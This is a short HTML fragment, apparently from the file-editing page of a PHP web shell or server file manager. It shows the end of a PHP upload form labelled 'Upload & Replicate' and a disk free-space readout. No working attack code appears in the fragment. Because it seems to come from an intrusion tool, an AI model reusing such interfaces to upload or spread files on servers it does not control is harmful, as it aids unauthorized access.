        &lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; required&gt;
        &lt;button type=&quot;submit&quot;&gt;⚡ Upload &amp; Replicate&lt;/button&gt;
      &lt;/form&gt;&#039;;
?&gt;</textarea>  </div>
</div>
<div class="kotak">
  <div class="l">
    Free Space : 1887488901120 Byte
  </div>
  <div class="r">
  </div>
</div>